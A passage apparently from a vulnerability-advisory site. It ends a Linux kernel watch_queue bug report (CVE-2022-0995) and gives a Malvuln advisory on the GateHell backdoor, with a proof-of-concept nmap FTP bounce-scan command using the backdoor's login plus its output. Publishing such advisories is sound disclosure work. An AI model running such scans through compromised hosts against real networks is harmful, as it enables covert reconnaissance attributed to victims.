setting a<br />non-power-of-two number of buffers, which will break the code that<br />assumes that you can use bitmasks instead of modulo for indexing into<br />the pipe buffers array.<br /><br />4. watch_queue_set_size() sets wqueue->nr_notes to nr_notes rounded up<br />to a multiple of WATCH_QUEUE_NOTES_PER_PAGE while allocating the<br />->notes_bitmap with size nr_notes bits rounded up to a multiple of<br />BITS_PER_LONG. On architectures with big PAGE_SIZE, this could lead to<br />wqueue->nr_notes being bigger than the bitmap.<br /><br />5. wqueue->notes_bitmap is never freed.<br /><br />6. There is no synchronization between post_one_notification() and<br />pipe_read(), neither locking nor smp_store_release().<br /><br />7. watch_queue_clear() has a comment claiming that ->defunct prevents<br />new additions and notifications, but actually it only prevents<br />notifications, not additions.<br /><br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this<br />issue is made available to users before the end of the 90-day deadline,<br />this bug report will become public 30 days after the fix was made<br />available. Otherwise, this bug report will become public at the deadline.<br />The scheduled deadline is 2022-06-08.<br /><br />Related CVE Numbers: CVE-2022-0995.<br /><br /><br /><br />Found by: jannh@google.com<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d_B.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.GateHell.21<br />Vulnerability: Port Bounce Scan<br />Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.<br />Family: GateHell<br />Type: PE32<br />MD5: 5aa81ddc996be64116754efac0e4f55d<br />Vuln ID: MVID-2022-0560<br />Disclosure: 04/18/2022<br /><br /><br />Exploit/PoC:<br />C:\>nmap -n -Pn -b malvuln:malvuln@192.168.18.125:5301 -p21,22,80 192.168.18.237 -v<br />Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-18 12:46 UTC-11<br />Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).<br />Attempting connection to ftp://malvuln:malvuln@192.168.18.125:5301<br />Connected:220 ICS FTP Server ready.<br />Login credentials accepted by FTP server!<br />Initiating Bounce Scan at 12:46<br />Discovered open port 80/tcp on 192.168.18.237<br />Completed Bounce Scan at 12:46, 2.11s elapsed (3 total ports)<br />Nmap scan report for 192.168.18.237<br />Host is up.<br /><br />PORT STATE SERVICE<br />21/tcp closed ftp<br />22/tcp closed ssh<br />80/tcp open http<br /><br />Read data files from: C:\Program Files (x86)\Nmap<br />Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>